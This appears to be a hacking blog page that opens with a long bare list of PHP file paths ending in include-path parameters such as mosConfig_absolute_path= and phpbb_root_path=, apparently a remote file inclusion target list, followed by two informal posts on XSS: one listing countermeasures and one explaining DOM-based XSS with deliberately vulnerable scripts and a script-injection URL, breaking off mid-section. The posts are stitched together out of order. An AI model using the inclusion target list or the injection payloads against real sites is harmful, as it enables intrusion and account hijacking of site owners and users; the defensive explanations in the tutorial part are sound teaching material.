/administrator/images/upload_f2.png?mosConfig_absolute_path= /administrator/includes/auth.php?mosConfig_absolute_path= /administrator/includes/pageNavigation.php?mosConfig_absolute_path= /administrator/index.php?mosConfig_absolute_path= /administrator/index2.php?mosConfig_absolute_path= /administrator/index3.php?mosConfig_absolute_path= /administrator/logout.php?mosConfig_absolute_path= /administrator/popups/contentwindow.php?mosConfig_absolute_path= /administrator/popups/modulewindow.php?mosConfig_absolute_path= /administrator/popups/pollwindow.php?mosConfig_absolute_path= /components/com_banners/banners.class.php?mosConfig_absolute_path= /components/com_banners/banners.php?mosConfig_absolute_path= /components/com_contact/contact.class.php?mosConfig_absolute_path= /components/com_contact/contact.html.php?mosConfig_absolute_path= /components/com_contact/contact.php?mosConfig_absolute_path= /components/com_content/content.html.php?mosConfig_absolute_path= /components/com_content/content.php?mosConfig_absolute_path= /components/com_frontpage/frontpage.class.php?mosConfig_absolute_path= /components/com_frontpage/frontpage.php?mosConfig_absolute_path= /components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php ?mosConfig_absolute_path= /components/com_htmlarea3_xtd-c/popups/InsertFile/config.inc.php ?mosConfig_absolute_path= /components/com_htmlarea3_xtd-c/popups/InsertFile/main.php ?mosConfig_absolute_path= /components/com_htmlarea3_xtd-c/popups/insert_table.php ?mosConfig_absolute_path= /components/com_htmlarea3_xtd-c/popups/select_character.php ?mosConfig_absolute_path= /components/com_htmlarea3_xtd-c/popups/select_color.php ?mosConfig_absolute_path= /components/com_login/login.html.php?mosConfig_absolute_path= /components/com_login/login.php?mosConfig_absolute_path= /components/com_messages/messages.class.php?mosConfig_absolute_path= /components/com_newsfeeds/newsfeeds.php?mosConfig_absolute_path= /components/com_poll/poll.html.php?mosConfig_absolute_path= /components/com_poll/poll.php?mosConfig_absolute_path= /components/com_registration/registration.html.php?mosConfig_absolute_path= /components/com_registration/registration.php?mosConfig_absolute_path= /components/com_rss/rss.php?mosConfig_absolute_path= /components/com_search/search.html.php?mosConfig_absolute_path= /components/com_search/search.php?mosConfig_absolute_path= /components/com_user/user.html.php?mosConfig_absolute_path= /components/com_user/user.php?mosConfig_absolute_path= /components/com_weblinks/weblinks.class.php?mosConfig_absolute_path= /components/com_weblinks/weblinks.html.php?mosConfig_absolute_path= /components/com_weblinks/weblinks.php?mosConfig_absolute_path= /editor/editor.php?mosConfig_absolute_path= /editor/htmlarea3_xtd15/popups/InsertFile/config.inc.php?mosConfig_absolute_path= /editor/htmlarea3_xtd15/popups/InsertFile/main.php?mosConfig_absolute_path= /includes/HTML_toolbar.php?mosConfig_absolute_path= /includes/agent_browser.php?mosConfig_absolute_path= /includes/agent_os.php?mosConfig_absolute_path= /includes/footer.php?mosConfig_absolute_path= /includes/frontend.html.php?mosConfig_absolute_path= /includes/frontend.php?mosConfig_absolute_path= /includes/metadata.php?mosConfig_absolute_path= /includes/pageNavigation.php?mosConfig_absolute_path= /includes/pdf.php?mosConfig_absolute_path= /includes/sef.php?mosConfig_absolute_path= /language/english.ignore.php?mosConfig_absolute_path= /language/english.php?mosConfig_absolute_path= /language/english.xml?mosConfig_absolute_path= /modules/mod_archive.php?mosConfig_absolute_path= /modules/mod_latestnews.php?mosConfig_absolute_path= /modules/mod_login.php?mosConfig_absolute_path= /modules/mod_mainmenu.php?mosConfig_absolute_path= /modules/mod_mostread.php?mosConfig_absolute_path= /modules/mod_newsflash.php?mosConfig_absolute_path= /modules/mod_poll.php?mosConfig_absolute_path= /modules/mod_related_items.php?mosConfig_absolute_path= /modules/mod_rssfeed.php?mosConfig_absolute_path= /modules/mod_sections.php?mosConfig_absolute_path= /modules/mod_stats.php?mosConfig_absolute_path= /modules/mod_templatechooser.php?mosConfig_absolute_path= /modules/mod_whosonline.php ?mosConfig_absolute_path= /open-admin/plugins/site_protection/index.php?config%5boi_dir%5d= /example/inc/top.inc.php?rootdir= /core/index/index_album.php?P_LIB= /core/index/index_album.php?P_INDEX= /classes/class_mail.inc.php?path_to_folder= /inhalt.php?dateien[news]= /system/libraries/Geeklog/MVCnPHP/BaseView.php?glConf[path_libraries]= /theme/settings.php?pfad_z= /includes/class_template.php?phpbb_root_path= /previewtheme.php?theme=1&inc_path= /lib/exifer/exif.php?lib_path?= /index.php?rootpath= /poll.php?root_path= /ezconvert/config.php?ezconvert_dir= /sipssys/code/box.inc.php?config[sipssys]= /Shared/controller/text.ctrl.php?level= /UserMan/controller/common.function.php?level= /plateforme/code/inc/common.inc.php?inc_path= /library/StageLoader.php?GLOBALS[core][module_path]= /includes/includes.php?site_path= /includes/functions.php?phpbb_root_path= /includes/usercp_viewprofile.php?phpbb_root_path= /cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]= /lang/leslangues.php?fichier= /gallery/theme/include_mode/template.php?galleryfilesdir= /includes/functions.php?phpbb_root_path= /portal/portal.php?phpbb_root_path= /include/themes/themefunc.php?myNewsConf[path][sys][index]= /includes/functions.php?phpbb_root_path= /include/debug.php?config[debug]= /membres/membreManager.php?include_path= /xt_counter.php?server_base_dir= /include/lib/lib_head.php?cfgPathModule= /system/lib/package.php?gl_root= /ains_main.php?ains_path= /download.php?fname= /vp/configure.php?phpbb_root_path= /config.php?sql_language= /modules/mail/main.php?MODULES_DIR= /admin/admin_linkdb.php?phpbb_root_path= /admin/admin_forum_prune.php?phpbb_root_path= /admin/admin_extensions.php?phpbb_root_path= /admin/admin_board.php?phpbb_root_path= /admin/admin_attachments.php?phpbb_root_path= /admin/admin_users.php?phpbb_root_path= /lib/selectlang.php?BBC_LANGUAGE_PATH= /include/dom.php?path= /include/dtd.php?path= /include/parser.php?path= /defines.php?WEBCHATPATH= /upload/top.php?maindir= /include/config.inc.php?racine= /include/includes.php?include_path= /lib/nl/nl.php?g_strRootDir= /up.php?my[root]= /libraries/grab_globals.lib.php?inc_dir= /mep/frame.php?chem= /frontpage.php?setup_folder= /lang/index.php?file= /show.php?PollDir= /i-accueil.php?chemin= /include/common.php?env[rootPath]= /include/forms.php?INCLUDE_DIR= /include/issue_edit.php?INCLUDE_DIR= /include/client.php?INCLUDE_DIR= /include/classes.php?INCLUDE_DIR= /routines/fieldValidation.php?jssShopFileSystem= /config/config_admin.php?INC= /config/config_main.php?INC= /config/config_member.php?INC= /config/mysql_config.php?INC= /admini/admin.php?INC= /admini/index.php?INC= /paypalipn/ipnprocess.php?INC= /members/index.php?INC= /members/registration.php?INC= /main/ppcbannerclick.php?INC= /main/ppcclick.php?INC= /include/common_function.php?_config[site_path]= /comments.php?AMG_serverpath= /signin.php?sent=1&AMG_serverpath= /index.php?AML_opensite= /index.php?AMV_openconfig=1&AMV_serverpath= /index.php?custom_admin_path= /archives.php?custom_admin_path= /inc/init.inc.php?current_path= /bu/bu_claro.php?bu_dir= /bu/bu_cache.php?bu_dir= /bu/bu_parse.php?bu_dir= /bridge/enigma/E2_header.inc.php?boarddir= /WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir= /bu/process.php?bu_dir= /bu/process.php?bu_config[dir]= /archive.php?CONFIG[script_path]= /headlines.php?CONFIG[script_path]= /eventcal/mod_eventcal.php?lm_absolute_path= /modules/mx_pafiledb/pafiledb/includes/pafiledb_constants.php?module_root_path= /admin.php?cal_dir= /contacts.php?cal_dir= /convert-date.php?cal_dir= /popup.php?include_path= /rss.php?include_path= /ajax_request.php?include_path= /mediabroadcast.php?include_path= /includes/archive/archive_topic.php?phpbb_root_path= /gallery.scr.php?GLOBALS[PTH][func]= /sitemap.scr.php?GLOBALS[PTH][classes]= /news.scr.php?GLOBALS[PTH][classes]= /polls.scr.php?GLOBALS[PTH][classes]= /rss.scr.php?GLOBALS[PTH][classes]= /search.scr.php?GLOBALS[PTH][classes]= /xtextarea.scr.php?GLOBALS[PTH][spaw]= /form.func.php?GLOBALS[PTH][classes]= /general.func.php?GLOBALS[PTH][classes]= /groups.func.php?GLOBALS[PTH][classes]= /js.func.php?GLOBALS[PTH][classes]= /sections.func.php?GLOBALS[PTH][classes]= /users.func.php?GLOBALS[PTH][classes]= /modules/character_roster/include.php?mod_root= /gallery/displayCategory.php?basepath= /ataturk.php?page= /src/admin/pt_upload.php?config_file=[local server file]&ptconf[src]= /b2verifauth.php?index= /authenticate.php?default_path_for_themes= /admin/auth.php?emgb_admin_path= /compteur/mapage.php?chemin= /index.php?lang= /common.inc.php?CFG[libdir]= /common.inc.php?CFG[localedir]= /form_header.php?errormsg=1&CFG[localelangdir]= /footer.inc.php?settings[footer]= /[inertia_dir]/inertianews_main.php?inews_path= /config/sender.php?ROOT_PATH= /music/buycd.php?HTTP_DOCUMENT_ROOT= http://[target]/[path]/include/body.inc.php?menu= /include/index.inc.php?incpath= /include/account.inc.php?action=update&incpath= /include/admin_newcomm.inc.php?action=create&incpath= /include/header_admin.inc.php?incpath= /include/header.inc.php?incpath= /include/friends.inc.php?action=invite&incpath= /include/menu_u.inc.php?incpath= /include/notify.inc.php?action=sendit&incpath= /include/body.inc.php?incpath=? /include/body_admin.inc.php?menu= /include/body_admin.inc.php?incpath=? /include/commrecc.inc.php?action=recommend&incpath= /include/do_reg.inc.php?incpath=? /include/comm_post.inc.php?action=post&incpath= /include/menu_v.inc.php?incpath= /protection.php?action=logout&siteurl= /archive.php?abs= /admin/index_sitios.php?_VIEW= /main.inc.php?pathtoscript= /modules/mx_links/language/lang_english/lang_admin.php?mx_root_path= /modules/mx_charts/charts_constants.php?module_root_path= /modules/mx_meeting/pages/meeting_constants.php?module_root_path= /member/usercp_menu.php?script_folder= /basic.inc.php?basepath_start= /includes/common.php?module_root_path= /Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN= /mxBB/modules/kb_mods/includes/kb_constants.php?module_root_path= /mxBB/modules/kb_mods/includes/kb_constants.php?kb_constants.php&board_config[default_lang]= /includes/common.php?module_root_path= /mxBB/modules/mx_act/include/constants/act_constants.php?mx_root_path= /interface.php?basepath= /includes/profilcp_constants.php?module_root_path= /gizzar/index.php?basePath= /cm68news/engine/oldnews.inc.php?addpath= /common.php?db_file= /inc/shows.inc.php?cutepath= /activate.php?language=conf&footerpage= /includes/common.php?module_root_path= /inc/CONTROL/imports/import-mt.php?basepath=foo&inc_path= /styles.php?toroot= /centre.php?page= /addcode.php?hm= /owllib/memory/OWLMemoryProperty.php?OWLLIB_ROOT= /Index.php?abs_url= /php.incs/common.inc.php?cm_basedir= /PhotoCart/adminprint.php?admin_folder= /PhotoCart/adminprint.php?path= /includes/admin.php?templatesDirectory= /includes/password.php?GlobalSettings[templatesDirectory]= /includes/profile.php?GlobalSettings[templatesDirectory]= /includes/merge.php?GlobalSettings[templatesDirectory]= /includes/adminPolls.php?GlobalSettings[templatesDirectory]= /includes/poll.php?GlobalSettings[templatesDirectory]= /phppc/poll.php?is_phppc_included=1&relativer_pfad= /phppc/poll_kommentar.php?is_phppc_included=1&relativer_p fad= /phppc/poll_sm.php?is_phppc_included=1&relativer_pfad= /phpquickgallery/gallery_top.inc.php?textFile= /core/editor.php?editor_insert_bottom= /act/act_check_access.php?apx_root_path= /dsp/dsp_form_booking_ctl.php?apx_root_path= /dsp/dsp_bookings.php?apx_root_path= /includes/mx_common.php?module_root_path= /check_status.php?dicshunary_root_path= /_basicfunctions.php?DIR= /pageactionauthor.php?DIR= /pntUnit/Inspect.php?Include= /phpjobschedule_PATH/add-modify.php?installed_config_file= /phpjobschedule_PATH/delete.php?installed_config_file= /phpjobschedule_PATH/modify.php?installed_config_file= /phpjobschedule_PATH/phpjobscheduler.php?installed_config_file= /includes/user_standard.php?relative_root= /include/classes/pear/DB/mysql.php?baseDir= /include/classes/pear/DB/mysqli.php?baseDir= /core/core.php?root= /work/index.php?g_include= /work/module/forum/forum.php?g_include= /inc/session.php?sessionerror=0&lang= /index.php?function=custom&custom= /language.inc.php?langs_dir= /admin/index.php?p= /admin/auth/secure.php?cfgProgDir= /admin/auth/checklogin.php?cfgProgDir= /inc/irayofuncs.php?irayodirhack= /dodosmail.php?dodosmail_header_file= /dodosmail.php?dodosmail_footer_file= /admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg= /evilfile.php?evil_include= /ad_main.php?_mygamefile= /sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]= /sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]= /cyberfolio/portfolio/msg/view.php?av= /cyberfolio/portfolio/admin/incl_voir_compet.php?av= /modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]= /interface/billing/billing_process.php?srcdir= /interface/new/new_patient_save.php?srcdir= /login.php?srcdir= /library/translation.inc.php?GLOBALS[srcdir]= /modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT= /lib/includes/loader.cmd.php?store_config[code]= /lib/includes/loader.ftp.php?store_config[code]= /lib/includes/loader.soap.php?store_config[code]= /lib/includes/loader.web.php?store_config[code]= /includes/xhtml.php?d_root= /function_log.php?racine= /function_balise_url.php?racine= /connection.php?racine= /admin/controls/cart.php?_saz[settings][shippingfolder]= /manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path= /volume.php?config[public_dir]= /admin.php?pb_lang= /pbook.php?pb_lang= /gepi/gestion/savebackup.php?filename= /themes/fin.php?themes= /users/include/body.inc.php?reqpath= /users/include/body_blog.inc.php?reqpath= /users/include/upload_ht.inc.php?usrinc= /common.php?SWSDIR= /faq_reply.php?email= /modules/core/demo/append.php?PS_BASE= /modules/core/html/append.php?PS_BASE= /upgrades/2.1beta1/upgrade.php?amp_conf[AMPWEBROOT]= /Core/core.inc.php?fullpath= /ip.inc.php?type=1&cgipath= /mcNews/admin/header.php?skinfile= /include/init.inc.php?G_PATH= /backend/addons/links/index.php?PATH= /inc/download_center_lite.inc.php?script_root= /modules/vWar_Account/includes/functions_common.php?vwar_root2= /lib/armygame.php?libpath= /includes/get_header.php?vwar_root= /application.php?base_path= /kernel/loadkernel.php?installPath= /include/SQuery/gameSpy2.php?libpath= /event.php?myevent_path= /index.php?page= /movie_cls.php?full_path= /toplist.php?f=toplist_top10&phpbb_root_path= /admin/addentry.php?phpbb_root_path= /admin/addentry.php?phpbb_root_path= /show.php?path= /eshow.php?Config_rootdir= /auction/auction_common.php?phpbb_root_path= /index.php?inc_dir= /visible_count_inc.php?statitpath= /includes/phpdig/includes/config.php?relative_script_path= /direct.php?rf= /extauth/drivers/ldap.inc.php?clarolineRepositorySys= /claroline/auth/ldap/authldap.php?includePath= /includes/pafiledb_constants.php?module_root_path= /public_includes/pub_popup/popup_finduser.php?vsDragonRootPath= /include.php?path= /functions.php?path= /end.php?footfile= /include/menu_builder.php?config[page_dir]= /index.php?page= /textpattern/publish.php?txpcfg[txpath]= /classes/class_admin.php?PathToComment= /classes/class_comments.php?PathToComment= /lib.editor.inc.php?sys_path= /login/secure.php?cfg[homepath]= /faq.php?foing_root_path= /index.php?foing_root_path= /list.php?foing_root_path= /login.php?foing_root_path= /playlist.php?foing_root_path= /song.php?foing_root_path= /gen_m3u.php?foing_root_path= /view_artist.php?foing_root_path= /view_song.php?foing_root_path= /login.php?foing_root_path= /playlist.php?foing_root_path= /song.php?foing_root_path= /flash/set_na.php?foing_root_path= /flash/initialise.php?foing_root_path= /flash/get_song.php?foing_root_path= /includes/common.php?foing_root_path= /admin/nav.php?foing_root_path= /admin/main.php?foing_root_path= /admin/list_artists.php?foing_root_path= /admin/index.php?foing_root_path= /admin/genres.php?foing_root_path= /admin/edit_artist.php?foing_root_path= /admin/edit_album.php?foing_root_path= /admin/config.php?foing_root_path= /admin/admin_status.php?foing_root_path= /OTSCMS.php?GLOBALS[config][otscms][directories][classes]= /admin/inc/prepend.inc.php?path= /admin/inc/lib/boxes.lib.php?path= /admin/inc/lib/tools.lib.php?path= /admin/tools/trackback/index.php?path= /admin/tools/utf8conversion/index.php?path= /inc/prepend.inc.php?path= /inc/lib/boxes.lib.php?path= /inc/lib/history.lib.php?path= /mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli= /mdweb/admin/inc/organisations/country_insert.php?chemin_appli= /jaws_PATH/html/include/JawsDB.php?path= /misc/function.php3?path= /modules/MambWeather/Savant2/Savant2_Plugin_options.php?mosConfig_absolute_path = /RR.php?phpdns_basedir= /include/entrancePage.tpl.php?SPEEDBERG_PATH= /include/generalToolBox.tlb.php?SPEEDBERG_PATH= /include/myToolBox.tlb.php?SPEEDBERG_PATH= /include/scriplet.inc.php?SPEEDBERG_PATH= /include/simplePage.tpl.php?SPEEDBERG_PATH= /include.class.php?SPEEDBERG_PATH= /include/standardPage.tpl.php?SPEEDBERG_PATH= /common.php?ezt_root_path= /main.php?config= /kawf/user/account/main.php?config= /phpcalendar/includes/calendar.php?phpc_root_path= /phpcalendar/includes/setup.php?phpc_root_path= /editmeetings/session.php?PROJECT_ROOT= /email/session.php?PROJECT_ROOT= /entityproperties/session.php?PROJECT_ROOT= /inc/mail.php?PROJECT_ROOT= /_msdazu_pdata/redaktion/artikel/up/index.php?path_red2= /_msdazu_share/richtext/addtort.php?path_red2= /_msdazu_share/richtext/colorpik2.php?path_red2= /_msdazu_share/richtext/colorpik3.php?path_red2= /_msdazu_share/richtext/extras_menu.php?path_red2= /_msdazu_share/richtext/farbpalette.php?path_red2= /_msdazu_share/richtext/lese_inc.php?path_red2= /_msdazu_share/richtext/newfile.php?path_red2= /_msdazu_share/share/insert1.php?path_scr_dat2= /_msdazu_share/extras/downloads/index.php?path_red= /admin/admin_module.php?g_admin_rep= /modules/My_eGallery/public/displayCategory.php?adminpath= /modules/My_eGallery/public/displayCategory.php?basepath= /themes/program/themesettings.inc.php?themesdir= /config.inc.php3?rel_path= /db/txt.inc.php?file=&check=0&email[to]= /db/txt.inc.php?file=&check=0&comment= /evilfile.php?evil_include= /php/plugins/main.php?plug_path= /local/lib/lcUser.php?LIBDIR= /modules/guestbook/index.php?CONFIG[local_root]= /index.php?class_path= /edit.php?javascript_path= /circ.php?include_path= /templates/barrel/template.tpl.php?renderer= /templates/sidebar/template.tpl.php?renderer= /templates/text-only/template.tpl.php?renderer= /templates/slashdot/template.tpl.php?renderer= /templates/penguin/template.tpl.php?renderer= /templates/pda/template.tpl.php?renderer= /templates/oerdec/template.tpl.php?renderer= /templates/nifty/template.tpl.php?renderer= /templates/mylook/template.tpl.php?renderer= /templates/barry/template.tpl.php?renderer= /sw/index_sw.php?doc_directory= /sw/lib_cart/cart.php?doc_directory= /sw/lib_cart/lib_cart.php?doc_directory= /sw/lib_comment/comment.php?doc_directory= /web/lib/xml/oai/GetRecord.php?lib_dir= /client.php?dir= /p-news.php?pn_lang= /template.php?actionsPage= /template.php?formPage= /forum/track.php?path= /implementation/management/priv/bugreporter/thankyou.php?g_documentRoot= /process.php?DEFAULT_SKIN= /template/barnraiser_01/p_new_password.tpl.php?templatePath= /template/purpletech/base_include.php?page= /centipaid_class.php?absolute_path= /inc/settings.php?inc_dir= /extras/mt.php?web_root= /common/visiteurs/include/menus.inc.php?lvc_include_dir= /include/theme.inc.php?fullpath= /include/footer.inc.php?fullpath= /genepi.php?topdir= /modification/SendAlertEmail.php?AGE= /includes/functions_mod_user.php?phpbb_root_path= /community/Offline.php?sourcedir= /lib/registry.lib.php?lib_dir= /lib/sqlcompose.lib.php?lib_dir= /lib/sqlsearch.lib.php?lib_dir= /admin/includes/spaw/spaw_control.class.php?spaw_root= /common.php?phpht_real_path= /addon_keywordreplacer.php?pathToFiles= /add.php?Htmls= /admin.php?Htmls= /look.php?Htmls= /re.php?Htmls= /phpBB2/includes/functions_mod_user.php?phpbb_root_path= /shoutbox.php?phpbb_root_path= /naboard_pnr.php?skin= /report.php?scriptpath= /archive.php?scriptpath= /comments.php?scriptpath= /init.php?scriptpath= /news.php?scriptpath= /ftag.php?mostrar= /ftag.php?mostrar= /main.php?page= /param_editor.php?folder= /index.php?contentSpecial= /index.php?section= /redir.php?foaf= /getimg.php?img= /modules/Calendar/admin/update.php?calpath= /modules/Calendar/scheme.php?calpath= /modules/Calendar/calendar.php?calpath= /claroline/inc/lib/import.lib.php?includePath= /example/lib/grid3.lib.php?cfg_dir= /jinzora2/backend/primitives/cache/media.php?include_path= /include/cts/standart.inc.php?topdir= /sw/lib_up_file/file.php?doc_directory= /sw/lib_up_file/find_file.php?doc_directory= /sw/lib_comment/comment.php?doc_directory= /sw/lib_find/find.php?doc_directory= /webyep-system/programm/lib/WYApplication.php?webyep_sIncludePath= /webyep-system/programm/lib/WYDocument.php?webyep_sIncludePath= /webyep-system/programm/webyep.php?webyep_sIncludePath= /webyep-system/programm/elements/WYGalleryElement.php?webyep_sIncludePath= /sw/lib_user/find_user.php?doc_directory= /sw/lib_user/user.php?doc_directory= /sw/lib_comment/comment.php?doc_directory= /sw/lib_session/session.php?doc_directory= /include/disp_form.php3?cfg_include_dir= /include/disp_smileys.php3?cfg_include_dir= /include/little_news.php3?cfg_include_dir= /include/index.php3?cfg_include_dir= /moteur/moteur.php?chemin= /forum.php?cfg_file=1&fpath= /includes/functions_num_image.php?phpbb_root_path= /includes/functions_user_viewed_posts.php?phpbb_root_path= /images/smileys/smileys_packs.php?smileys_dir= /index.php?catid= /includes/logger_engine.php?phpbb_root_path= /includes/themen_portal_mitte.php?phpbb_root_path= /includes/logger_engine.php?phpbb_root_path= /module/forum/main.php?id=1&main_dir= /module/forum/headlines.php?id=1&main_dir= /admin/admin_topic_action_logging.php?setmodules=pagestar t&phpbb_root_path= /includes/footer.php?PHPGREETZ_INCLUDE_DIR= /includes/functions_static_topics.php?phpbb_root_path= /functions.php?pmp_rel_path= /includes/functions.php?phpbb_root_path= /wamp_dir/setup/yesno.phtml?no_url= /change_preferences2.php?target= /create_file.php?target= /upload_local.php?target= /upload_multi.php?target= /index.php?file_name[]= /forum/search.php?repertorylevel= /forum/message.php?repertorylevel= /forum/member.php?repertorylevel= /forum/mail.php?repertorylevel= /forum/lostpassword.php?repertorylevel= /forum/gesfil.php?repertorylevel= /forum/forum82lib.php3?repertorylevel= /include/config.inc.php?lvc_include_dir= /index.php?page= /window.php?action= /secure.php?cfgProgDir= /includes/functions_kb.php?phpbb_root_path= /includes/bbcb_mg.php?phpbb_root_path= /include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= /sources/myaccount.php?open_box= /sources/myaccount.php?middle_box= /sources/myaccount.php?close_box= /navigation/search.php?navigation_end= /navigation/donation.php?navigation_start= /navigation/donation.php?navigation_middle= /navigation/donation.php?navigation_end= /navigation/latestnews.php?navigation_start= /navigation/latestnews.php?navigation_middle= /navigation/links.php?navigation_start= /navigation/links.php?navigation_middle= /parse/parser.php?WN_BASEDIR= /navigation/menu.php?navigation_start= /hit.php?url_hit= /view/general.php?_SESSION['dirMain']= /templates/pb/language/lang_nl.php?temppath= /admin/admin_topic_action_logging.php?setmodules= /track.php?path= /connect.php?path= /admin/index.php?o= /fsl2/objects/fs_form_links.php?GLOBALS[fsinit][objpath]= /template.php?content_page= /libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']= /mcf.php?content= /admin/testing/tests/0004_init_urls.php?init_path= /global.php?nbs= /dix.php3?url_phpartenaire= /inc/ifunctions.php?GLOBALS[phpQRootDir]= /manager/pages/AccountsPage.class.php?base_path= /manager/pages/AddInvoicePage.class.php?base_path= /manager/pages/AddIPAddressPage.class.php?base_path= /manager/pages/AddPaymentPage.class.php?base_path= /manager/pages/AddTaxRulePage.class.php?base_path= /manager/pages/AssignDomainPage.class.php?base_path= /manager/pages/AssignHostingPage.class.php?base_path= /manager/pages/AssignProductPage.class.php?base_path= /manager/pages/BillingPage.class.php?base_path= /manager/pages/BillingPaymentPage.class.php?base_path= /manager/pages/BrowseAccountsPage.class.php?base_path= /manager/pages/BrowseInvoicesPage.class.php?base_path= /manager/pages/ConfigureEditUserPage.class.php?base_path= /manager/pages/ConfigureNewUserPage.class.php?base_path= /manager/pages/ConfigureNewUserReceiptPage.class.php?base_path= /manager/pages/ConfigureUsersPage.class.php?base_path= /manager/pages/DeleteAccountPage.class.php?base_path= /manager/pages/DeleteDomainServicePage.class.php?base_path= /manager/pages/DeleteHostingServicePage.class.php?base_path= /manager/pages/DeleteInvoicePage.class.php?base_path= /manager/pages/DeleteProductPage.class.php?base_path= /manager/pages/DeleteServerPage.class.php?base_path= /manager/pages/DomainServicesPage.class.php?base_path= /manager/pages/DomainsPage.class.php?base_path= /manager/pages/EditAccountPage.class.php?base_path= /manager/pages/EditDomainPage.class.php?base_path= /manager/pages/EditDomainServicePage.class.php?base_path= /manager/pages/EditHostingServicePage.class.php?base_path= /manager/pages/EditPaymentPage.class.php?base_path= /manager/pages/EditProductPage.class.php?base_path= /manager/pages/EditServerPage.class.php?base_path= /manager/pages/EmailInvoicePage.class.php?base_path= /manager/pages/ExecuteOrderPage.class.php?base_path= /manager/pages/ExpiredDomainsPage.class.php?base_path= /manager/pages/FulfilledOrdersPage.class.php?base_path= /manager/pages/GenerateInvoicesPage.class.php?base_path= /manager/pages/HomePage.class.php?base_path= /manager/pages/InactiveAccountsPage.class.php?base_path= /manager/pages/IPManagerPage.class.php?base_path= /manager/pages/LoginPage.class.php?base_path= /manager/pages/LogPage.class.php?base_path= /manager/pages/ModulesPage.class.php?base_path= /manager/pages/NewAccountPage.class.php?base_path= /manager/pages/NewDomainServicePage.class.php?base_path= /manager/pages/NewProductPage.class.php?base_path=

XSS Attack-PART 7

Posted By Maher Bro

Hey awl in diz tut i will be telling uhh awl countermeasures against XSS :)

                                                       Countermeasures

Check and validate all the form fields, hidden fields, headers, cookies, query strings and all the parameters against a rigorous specification.

Implement a stringent security policy.

Web servers, applications servers, and web application environments are vulnerable to cross-site scripting. It is hard to identify and remove XSS flaws from web applications. The best way to find flaws is to perform a security review of the code, and search in all the places where input from an HTTP request comes as an output through HTML.

A variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto and other tools can help to some extent for scanning website for these flaws. If vulnerability is discovered in one website, there is a high chance of it being vulnerable to other attacks.

Find the script output to defeat XSS vulnerability which can prevent then from being transmitted to users.

The entire code of the website has to be reviewed if it has to be protected against XSS attacks. The sanity of the code should be checked by reviewing and comparing it against exact specifications. The areas should be checked as follows, the headers, as well as cookies, query string from fields and hidden fields. During the validation process, there must be no attempt to recognize the active content, neither to remove the filter nor sanitize it.

There are many ways to encode the known filters for active content. A “positive security policy” is highly recommended, which specifies what has to be allowed and what has to be removed. Negative or attack signature-based policies are hard to maintain, as they are incomplete.

Input fields should be limited to a maximum since most script attacks need several characters to get granted.

XSS Attack-PART 6

Posted By Maher Bro

Hey awl  h0wz yuh well in diz tut i will be giving uhh awl a brief xplanation on DOM based XSS attacks :) :)

I will not be gng 2 deep cz its quite confusioning i will be posting abt it in detail later :D although m also working on it dese days :P

DOM-based is unique form of XSS, used very similarly to non-persistent, but where the JavaScript malware payload doesn’t need to be sent or echoed by the Web site to exploit auser. Consider our eCommerce Web site example (Figure 1.1.), where a feature on the Website is used to display sales promotions.The following URL queries the backend database for the information specified by the product_id value which is shown to the user. (Figure 1.2)

Fig 1.2	Fig 1.2

To make the user experience a bit more dynamicity, the title value of the URL’s can be updated on the fly to include different impulse-buy text

Example 1

http://victim/promo?product_id=100&title=Last+Chance!
http://victim/promo?product_id=100&title=Only+10+Left!

Etc.

The value of the title is automatically written to the page using some resident JavaScript.

Example 2

<script>
var url = window.location.href;
var pos = url.indexOf("title=") + 6;
var len = url.length;
var title_string = url.substring(pos,len);
document.write(unescape(title_string));
</script>

This is where the problem is. In this scenario, the client-side JavaScript blindly trusts the data contained in the URL and renders it to the screen.This trust can be leveraged to craft the following URL that contains some JavaScript malware on the end.

Example 3

http://victim/promo?product_id=100&title=Foo#<SCRIPT>alert('XSS%20Testing')
</SCRIPT>

As before, this URL can be manipulated to SRC in additional JavaScript malware from any location on the Web. What makes this style of XSS different, is that the JavaScript malware payload does not get sent to the Web server. As defined by Request For Comment (RFC), the “fragment” portion of the URL, after the pound sign, indicates to the Web browser which point of the current document to jump to. Fragment data does not get sent to the Web server and stays within the DOM. Hence the name, DOM-based XSS.



DOM is a World Wide Web Consortium (W3C) specification, which defines the object model for representing XML and HTML structures. In the eXtensible Markup Language (XML) world, there are mainly two types of parsers, DOM and SAX. SAX is a parsing mechanism, which is significantly faster and less memory-intensive but also not very intuitive, because it is not easy to go back to the document nodes (i.e. the parsing mechanism is one way). On the other hand, DOM-based parsers load the entire document as an object structure, which contains methods and variables to easily move around the document and modify nodes, values, and attributes on the fly.
Browsers work with DOM. When a page is loaded, the browser parses the resulting page into an object structure.The getElementsByTagName is a standard DOM function that is usedto locate XML/HTML nodes based on their tag name. DOM-based XSS is the exploitation of an input validation vulnerability that is caused by the client, not the server. In other words, DOM-based XSS is not a result of a vulnerability within a server side script, but an improper handling of user supplied data in the client side JavaScript. Like the other types of XSS vulnerabilities, DOM-based XSS can be used to steal confidential information or hijack the user account. However, it is essential to understand that this type of vulnerability solely relies upon JavaScript and insecure use of dynamically obtained data from the DOM structure.
Here is a simple example of a DOM-base XSS provided by Amit Klein in his paper “Dom Based Cross Site Scripting or XSS of the Third Kind”:

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf(“name=”)+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>

If we analyze the code of the example, you will see that the developer has forgotten to sanitize the value of the “name” get parameter, which is subsequently written inside the document as soon as it is retrieved. In the following section, we study a few more DOM based XSS examples based on a fictitious application that we created.

Identifying DOM-based XSS Vulnerabilities

Let’s walk through the process of identifying DOM-based XSS vulnerabilities using a fictitious Asynchronous Javascript and XML (AJAX) application.
First, we have to create a page on the local system that contains the following code:

